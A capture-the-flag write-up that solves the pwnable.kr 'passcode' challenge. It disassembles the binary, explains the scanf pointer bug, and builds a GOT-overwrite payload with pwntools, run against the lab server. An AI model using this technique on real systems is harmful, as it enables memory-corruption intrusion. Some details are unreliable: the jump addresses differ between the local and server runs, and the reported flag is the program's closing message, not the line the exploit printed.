PWNABLE.KR - passcode

Lets connect to our server,

```
ra@moni~> ssh passcode@128.61.240.205 -p 2222
passcode@128.61.240.205's password:
 _____  __    __  _____    _____  _____   _        ___      __  _  ____
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]||    \
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    /
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|

- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have mail.
Last login: Thu Jun  3 00:51:20 2021 from 49.205.152.1
passcode@pwnable:~$
```

Listing our files using `ls -la`,

```
passcode@pwnable:~$ ls -la
total 36
drwxr-x---   5 root passcode     4096 Oct 23  2016 .
drwxr-xr-x 115 root root         4096 Dec 22 08:10 ..
d---------   2 root root         4096 Jun 26  2014 .bash_history
-r--r-----   1 root passcode_pwn   48 Jun 26  2014 flag
dr-xr-xr-x   2 root root         4096 Aug 20  2014 .irssi
-r-xr-sr-x   1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r--   1 root root          858 Jun 26  2014 passcode.c
drwxr-xr-x   2 root root         4096 Oct 23  2016 .pwntools-cache
```

We can see there are some privelege restrictions

It seems like we cannot view our `flag` directly as usual

We have to find a way through the binary

```
passcode@pwnable:~$ whoami
passcode
passcode@pwnable:~$ cat flag
cat: flag: Permission denied
```

Lets view the source code of the binary,

```
passcode@pwnable:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}
```

Now lets check the file type of our binary using `file` command

```
passcode@pwnable:~$ file passcode
passcode: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24,
BuildID[sha1]=d2b7bd64f70e46b1b0eb7036b35b24a651c3666b, not stripped
```

So it is a `not stripped` binary

We can easily view the symbols in debugger

Now lets try running it,

```
passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : monish
Welcome monish!
enter passcode1 : aidenpearce369
enter passcode2 : checking...
Login Failed!
```

We have to check the conditions and pass it inorder to get the `flag`

From the source code we can see,

- `passcode1==338150 && passcode2==13371337` for passwords
- `scanf("%d", passcode1);` and `scanf("%d", passcode2);` which stores passwords as `int`

Now lets try with these,

```
passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : monish
Welcome monish!
enter passcode1 : 338150
Segmentation fault (core dumped)
passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : monish
Welcome monish!
enter passcode1 : 13371337
Segmentation fault (core dumped)
```

It fails!!

`Segmentation fault (core dumped)` from our input can be created by `memory crash`

Our assumption is that our `int` data should be a memory address

Lets try by analyzing it,

Copying the file from remote to local by `scp`

```
ra@moni~> scp -P 2222 passcode@128.61.240.205:passcode
/home/ra/PWNPractice/pwnable.kr/passcode/
passcode@128.61.240.205's password:
passcode                                                      100% 7485
14.0KB/s   00:00
```

Opening it in debuggers, and listing available functions

```
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x080483e0  _init
0x08048420  printf@plt
0x08048430  fflush@plt
0x08048440  __stack_chk_fail@plt
0x08048450  puts@plt
0x08048460  system@plt
0x08048470  __gmon_start__@plt
0x08048480  exit@plt
0x08048490  __libc_start_main@plt
0x080484a0  __isoc99_scanf@plt
0x080484b0  _start
0x080484e0  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048564  login
0x08048609  welcome
0x08048665  main
0x080486a0  __libc_csu_init
0x08048710  __libc_csu_fini
0x08048712  __i686.get_pc_thunk.bx
0x08048720  __do_global_ctors_aux
0x0804874c  _fini
```

Disassembling `main()`,

```
pwndbg> disassemble main
Dump of assembler code for function main:
   0x08048665 <+0>: push   ebp
   0x08048666 <+1>: mov    ebp,esp
   0x08048668 <+3>: and    esp,0xfffffff0
   0x0804866b <+6>: sub    esp,0x10
   0x0804866e <+9>: mov    DWORD PTR [esp],0x80487f0
   0x08048675 <+16>:    call   0x8048450 <puts@plt>
```

```
   0x0804867a <+21>:    call   0x8048609 <welcome>
   0x0804867f <+26>:    call   0x8048564 <login>
   0x08048684 <+31>:    mov    DWORD PTR [esp],0x8048818
   0x0804868b <+38>:    call   0x8048450 <puts@plt>
   0x08048690 <+43>:    mov    eax,0x0
   0x08048695 <+48>:    leave
   0x08048696 <+49>:    ret
End of assembler dump.
```

Disassembling `welcome()`

```
pwndbg> disassemble welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>: push   ebp
   0x0804860a <+1>: mov    ebp,esp
   0x0804860c <+3>: sub    esp,0x88
   0x08048612 <+9>: mov    eax,gs:0x14
   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:    xor    eax,eax
   0x0804861d <+20>:    mov    eax,0x80487cb
   0x08048622 <+25>:    mov    DWORD PTR [esp],eax
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    eax,0x80487dd
   0x0804862f <+38>:    lea    edx,[ebp-0x70]
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    eax,0x80487e3
   0x08048643 <+58>:    lea    edx,[ebp-0x70]
   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:    mov    DWORD PTR [esp],eax
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret
End of assembler dump.
```

Disassembling `login()`,

```
pwndbg> disassemble login
Dump of assembler code for function login:
   0x08048564 <+0>: push   ebp
   0x08048565 <+1>: mov    ebp,esp
   0x08048567 <+3>: sub    esp,0x28
   0x0804856a <+6>: mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
```

```
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.
```

When we try to compile the binary from souce code (given in clue),

```
ra@moni~/P/p/passcode> nano passcode.c
ra@moni~/P/p/passcode> gcc -o test passcode.c
passcode.c: In function ‘login’:
passcode.c:9:10: warning: format ‘%d’ expects argument of type ‘int *’, but
argument 2 has type ‘in ’ [-Wformat=]
    9 |  scanf("%d", passcode1);
      |         ~^   ~~~~~~~~~
      |          |   |
      |          |   int
      |          int *
passcode.c:14:17: warning: format ‘%d’ expects argument of type ‘int *’,
but argument 2 has type ‘int’ [-Wformat=]
   14 |         scanf("%d", passcode2);
      |                ~^   ~~~~~~~~~
      |                 |   |
```

```
        |                 |   int
        |                int *
```

So we have confirmed that it is a `int *` pointer

Thats the reason of `segmentation fault`

It is storing its input in the `passcode1` and `passcode2` values by assuming it as address

If we see here clearly,

```
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    printf("enter passcode2 : ");
    scanf("%d", passcode2);
```

Here already `passcode1` and `passcode1` are already `int`

Normally we would pass `scanf("%d", &passcode1)` and `scanf("%d", &passcode1)` to store the inputs in the address

But here,In `scanf("%d", passcode1)` and `scanf("%d", passcode1)` we are trying to store the `int` input inside the address of `int` values declared above

Now we understood the use of `int` variables and `scanf()` functions

The main logic of the program lies on,

```
if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
```

Here is another interesting part from `login()`,

```
0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>:   jne    0x80485f1 <login+141>
0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>:   jne    0x80485f1 <login+141>
```

And from the line `if(passcode1==338150 && passcode2==13371337)`,

```
>>> hex(13371337)
'0xcc07c9'
>>> hex(338150)
'0x528e6'
```

So its comparing correctly, but where did this variable gets stored

The possibility of controlling the condition with `passcode1` and `passcode2` variables is a question mark?

Lets try another approach..

We have 1 `scanf()` from `welcome()` and 2 `scanf()` from `login()`

So our variables get stored respectively in this order

In `welcome()`,

```
    0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
    0x0804863e <+53>:    mov    eax,0x80487e3
    0x08048643 <+58>:    lea    edx,[ebp-0x70]
```

Here `lea` (Load Effectie Address) is used to allocate the buffer space for our name

In `login()`,

For `password1`

```
    0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
    0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
    0x08048583 <+31>:    mov    DWORD PTR [esp],eax
    0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
```

For `password2`

```
    0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
    0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
    0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
    0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
```

On overall,

```
[ebp-0x70] ---> name
[ebp-0x10] ---> password1
[ebp-0xc]  ---> password2
```

Lets find the distance between these variables,

- Distance between `name` and `password1` = 0x70 - 0x10 = 0x60 = 96
- Distance between `password1` and `password2` = 0x10 - 0xc = 4

So `passcode1` occupies the last 4 bytes of `name[100]`

Since we are using `scanf()` to get inputs, we can attack with it by our input

It is time to perform "arbitrary write/GOT overwrite" with this buffer

For more on GOT Overwrite

Lets try it on the binary,

The GOT and GOT-PLT from this program,

```
pwndbg> gotplt
0x804a000: printf@got.plt
0x804a004: fflush@got.plt
0x804a008: __stack_chk_fail@got.plt
0x804a00c: puts@got.plt
0x804a010: system@got.plt
0x804a014: __gmon_start__@got.plt
0x804a018: exit@got.plt
0x804a01c: __libc_start_main@got.plt
0x804a020: __isoc99_scanf@got.plt
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 9

[0x804a000] printf@GLIBC_2.0 -> 0xf7d63340 (printf) ◂— endbr32
[0x804a004] fflush@GLIBC_2.0 -> 0x8048436 (fflush@plt+6) ◂— push   8
[0x804a008] __stack_chk_fail@GLIBC_2.4 -> 0x8048446
(__stack_chk_fail@plt+6) ◂— push   0x10
[0x804a00c] puts@GLIBC_2.0 -> 0xf7d80cd0 (puts) ◂— endbr32
[0x804a010] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push   0x20 /*
'h ' */
[0x804a014] __gmon_start__ -> 0x8048476 (__gmon_start__@plt+6) ◂— push
0x28 /* 'h(' */
[0x804a018] exit@GLIBC_2.0 -> 0x8048486 (exit@plt+6) ◂— push   0x30 /* 'h0'
*/
[0x804a01c] __libc_start_main@GLIBC_2.0 -> 0xf7d2ddf0 (__libc_start_main) ◂
— endbr32
[0x804a020] __isoc99_scanf@GLIBC_2.7 -> 0xf7d64440 (__isoc99_scanf) ◂—
endbr32
```

We know we could control `passcode1` from `name`

We can write the `passcode1` value with the last 4 bytes from `name`

So we can use this to perform "GOT hijacking"

If we pass GOT address value of some function in `passcode1`,and the `scanf()` function gets the neccessary argument in `int` format, the function gets executed correctly

Here `fflush()` is the perfect target for GOT Overwrite

For `fflush()`,

```
[0x804a004] fflush@GLIBC_2.0 -> 0x8048436 (fflush@plt+6) ← push   8
```

The GOT address of `fflush()` is `0x804a004`

Now with 96 bytes of junk we will be passing this GOT value of `fflush()` so that our "input1" will be passed as argument to this `fflush()`

ie. password1 = fflush; scanf("%d", fflush)

It becomes `fflush(input)`

Now its time for exploit,

```
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
```

Here `0x080485ea` is the important function to display our flag, we will pass this to `fflush(stdin)`

```
ra@moni~/P/p/passcode> cat exploit.py
from pwn import *
data='A'*96
data+=p32(0x804a004)
data+=str(0x080485ea)
print(data)
```

Our `payload = 96 bytes junk + GOT of fflush() + args for fflush() passed in scanf()`

```
ra@moni~/P/p/passcode> python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA\x04\x04134514154
ra@moni~/P/p/passcode> python exploit.py > exploit
ra@moni~/P/p/passcode> cat exploit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA134514154
```

Now lets test it locally,

```
ra@moni:~/PWNPractice/pwnable.kr/passcode$ cat exploit | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA!
sh: 1: Syntax error: word unexpected (expecting ")")
enter passcode1 : Now I can safely trust you that you have credential :)
```

Its time to test it on server,

```
passcode@pwnable:~$ python -c "print('A' * 96 + '\x04\xa0\x04\x08' +
'134514147')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA134514147
passcode@pwnable:~$ python -c "print('A' * 96 + '\x04\xa0\x04\x08' +
'134514147')" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
```

Done! we got the flag

Flag: Now I can safely trust you that you have credential :)